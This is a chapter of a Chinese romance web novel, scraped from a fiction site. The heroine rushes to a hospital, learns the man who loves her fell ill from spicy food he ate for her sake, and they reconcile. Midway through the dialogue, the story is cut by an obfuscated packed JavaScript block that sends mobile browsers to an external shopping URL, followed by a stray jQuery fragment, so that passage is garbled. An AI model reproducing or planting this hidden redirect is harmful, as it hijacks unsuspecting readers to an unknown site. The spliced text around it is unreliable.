文趣网 > 其他小说 > 荔枝味心动[男暗恋] > 23. 第二十三章
    邬荔话音刚落,电话那头便传来了嘟嘟的挂断声。

    她皱着眉,又按下重拨,可回应她的只有“对不起,您拨打的电话已关机……”

    “这么奇怪吗?”邬荔喃喃道。

    她翻找出程一言的微信,看到一分钟前对方给她发了一个地址链接,定位在第二人民医院。

    “不会吧,程一叙怎么突然进医院了?”她半信半疑地再次打开通讯录,按下程一叙的电话。

    电话很快接通,邬荔开门见山地问:“程一叙,你生病了吗?”

    “没……没有啊,怎么突然关心我了?”

    不知道是不是邬荔的错觉,她竟然觉得这声音和之前的比起来听起来有气无力的。

    “你别打岔,是言言跟我说的,如果你没生病,她怎么会给我发医院的地址?”

    电话那头沉默了几秒,程一叙说:“真的没有,我身体好着呢,随时欢迎检验。”

    那声音虽然带着笑意,邬荔却总觉得哪里有些不对,她果断地说:“好啊,那我给你打视频电话。”

    果然这话一出,对方瞬间哑火,邬荔直接按下挂断键。

    她深吸了一口气,心里隐隐有了怒意,这种愤怒不是觉得程一叙突然扰乱了她的计划,而是来源于他对她的欺骗。

    不管这种“欺骗”是否是带着善意的,她都不能接受。

    邬荔抬眼看向近在咫尺的MA酒店,不自觉地攥紧了挂在胸前的临时工作证。

    “唉……”她低头把工作证摘下,和《门后的第三道影子》并排放进帆布包里,“舟麒,等我下次再来见你吧。现在我要先去处理一个说大话的骗子!”

    邬荔咬牙切齿地说着,手上的动作却没停,她迅速打开导航搜索第二人民医院,确认好路线就毫不犹豫地掉头往医院的方向走。

    她的电动车停在小路边,要驶进马路还需要往前骑一段距离,可就是这么几十米的路程,老天也要和她开玩笑。

    “喂!你开车不长眼啊!”邬荔被身边疾驰而过的红色跑车溅了一身泥水,她怒吼着,把油门拧到最大就冲了上去。

    她抄近道追到跑车旁边,趁对方减速的时候直接拦在车头处。

    “你不要命了?!”跑车车主降下车窗,半个头伸出来朝邬荔吼道。

    邬荔正愁一肚子火气没处撒,本来觉得对方道个歉就没事了,现在被这么一吼,怒气值瞬间飙升。

    她直接把车停下,径直走向那带着墨镜的男人身边。

    “我是不要命,你还不要脸呢!要不要看看你把我衣服弄成什么样子?!”

    邬荔今天虽然穿的是休闲装,但现在浅蓝色上衣被溅上一大块污渍,波点裤更是直接变斑点裤,甚至刚才下意识用手挡住脸导致手臂也溅上了泥点子。

    她本以为这样对方会有所收敛,谁知那人嗤笑一声,满不在乎地说:“切,就这个?开个价吧,赔你就是了。”

    不屑的语气,纨绔子弟的做派。

    邬荔气得牙痒痒,她握紧拳头,一字一句地说:“我要你,给我道歉。”

    那人像是听到什么笑话,嘴都要咧到耳根子去,他笑得上气不接下气,把车窗全部降下来后,摘下墨镜在手里把玩着。

    “别怪我没提醒你,我的时间是按分钟计费的,劝你识相点,赶紧说个数然后把车挪开。”

    男人坐在车里半个身子探出来,看似是在仰视着她,实际眼睛里除了轻蔑就是嘲笑,饶是配上这样一张精雕细琢的脸,邬荔也只觉得恶心反胃。

    她才不管对方是明星还是富二代,扯扯嘴角,轻声道:“你不道歉,我不挪车。听得懂人话吗?”

    “你!”男人刚准备说点什么,车内的蓝牙自动响起来点提示,他偏头看了一眼,抬手重重地点下挂断。

    转头吐了一口气,再抬眼看向邬荔,不情不愿地挤出一句,“对不起,行了吗?”

    邬荔翻了个白眼,她知道和这种人再耗下去也是浪费时间,拖沓着步子回到小粉旁边,把它往里侧挪了挪。

    那人更是一秒都不停下,看着空间足够就贴着缝隙钻出去,留下一串的轰鸣声。

    “疯子。”邬荔看着扬长而去的车尾,鲜艳的红色在马路上格外刺眼。

    她简单擦了擦身上的脏污,重新骑上车,直接开向医院。

    -

    到了医院门口,邬荔又拨响了程一叙的电话,“我到医院了,老实跟我说你在哪?”

    “姐姐?我就知道你会来的!”

    听到程一言的声音,邬荔疑惑地看了眼备注的名字,显示是“程一叙”没错呀。

    但没等她问出口,对方就解释道:“是我哥睡着了,我拿他手机接的。对了,姐姐你在哪?我下来接你。”

    邬荔跟她说了自己的位置,几分钟后程一言朝她跑来。

    第一眼她就看到了邬荔身上的痕迹,忍不住开口问道:“姐姐你发生什么事了?怎么衣服脏成这样?”

    邬荔无奈地摇摇头,“没事,来的路上遇到一个开车不长眼的疯子。你哥呢,他怎么样了?”

    程一言撇撇嘴,道:“幸好你来了,我哥太执拗了,都生病了还管东管西的,让我瞒着爸妈,还要瞒着你……”

    “那你怎么还跟我告密?”邬荔跟着程一言边走边问。

    程一言脚步顿了下,看向邬荔,说:“因为我觉得,我哥他其实很想见你,昏迷的时候嘴里都喊着你的名字,所以我就……对不起啊姐姐,是不是打扰到你了?”

    “昏迷?”邬荔不敢置信地看着她,语无伦次地问:“怎么会……他身体不是挺好的……为什么会昏迷?严不严重啊?”

    一连串的问题砸得程一言答不上来,她加快了脚步,对邬荔说:“我们先上去吧,他现在没事了。”

    邬荔三步并作两步,跟着程一言上到住院部的单人病房。

    隔着房门的玻璃,能看到病床上躺着的程一叙,平时高大的男人现在陷在纯白的被子里,哪怕只是远远一眼也能看出他的虚弱和病态。

    “你哥他……到底生的什么病?”邬荔拉着程一言在一旁的椅子上坐下,声音轻得像是怕房间里面的人吵醒。

    程一言坦然道:

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17664571|205462||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    “姐姐你不用太担心的,我哥他只是急性肠胃炎,明天再检查一下没问题就可以出院了。”

    邬荔悬着的心稍稍回落,但还是不解地问道:“急性肠胃炎那么严重吗,还会昏迷?”

    程一言点点头,“今天早上原本我哥要来开店的,但我和颜廷宇等了很久都不见他人,就去他家找他,结果一开门就看见他倒在地上,赶紧把他送来医院了。对了,姐姐你这几天有和我哥在一起吗,他有没有什么异常?”

    “没有啊,他昨天中午和我一起吃饭的,表现都很正常呀,还喝了酒呢。”

    “喝酒?”程一言挠挠头,“我长这么大见我哥喝酒的次数一只手都数得过来,听我妈说他从小肠胃就不太好,不仅不能喝酒,而且连辣都不能吃。”

    程一叙……不能吃辣吗?!

    短短几句话像是中了魔咒,一直在邬荔脑海里回荡。

    怪不得程一叙妈妈做的都是一点辣味没有的菜,怪不得每次一起吃饭他都是浅尝辄止……回想起来的细节越多,她就越自责。

    “可是……他没跟我说过啊……”

    “没说过什么?”程一言看着邬荔呆若木鸡的样子,以为她还在为她哥担心,连忙安抚道:“姐姐,医生已经说了他没什么事的,以后只要保持清淡饮食基本不会复发的。”

    邬荔两只手指不安地纠缠在一起,心里的声音沉重得压得她快要喘不上气,她听见自己的声音在说:“言言,我好像,做了一件错事。”

    程一言偏头对上邬荔的视线,被对方微红的眼眶和快要夺眶而出的眼泪吓了一跳,她关切地问:“姐姐,你别哭呀,是什么事情可以告诉我吗?”

    下一秒,眼眶再也承受不住眼泪的重量,一滴滴砸在邬荔手背上。

    她抽噎着,努力了好几次才终于开口,“是我……是我害你哥生病了,我不知道他不能吃辣的,我真的不知道的……对不起……”

    程一言瞬间手足无措,偏偏摸遍了周身也找不到一张纸巾,只能一遍遍安慰她,“姐姐,不是你的错啊!我哥快三十的人了,他有自己的思想,吃不吃辣这种事情他不说你怎么会知道呢!”

    邬荔哭得像个泪人,说的话也颠三倒四:“他跟我去吃川菜的时候怎么不说……给我做的饭,也全是辣的啊……还有之前……你说,他把自己弄成这样到底是为什么啊?”

    “可能,是因为我太笨了吧。”

    程一叙不知道什么时候站到两人身后,他用手帕轻柔地擦着邬荔哭花的脸,苍白的脸上挂着无可奈何的笑,“哭什么,我这不好好的吗?”

    泪水被尽数拭去,邬荔眼前渐渐清晰,她伸手想要握住那张递过来的手帕,却在看到程一叙手上的留置针后怯怯地将手收回。

    她小声地说:“……对不起。”

    而那人一眼看穿了她的想法,默默将手帕塞进她手心,“该说对不起的人是我,只想着给喜欢的人付出一切,却忽略了你是否愿意接受。”

    程一叙后退半步,弯腰直视上她的眼睛,郑重地说:“不知道我这个笨蛋,还能不能得到你的原谅?”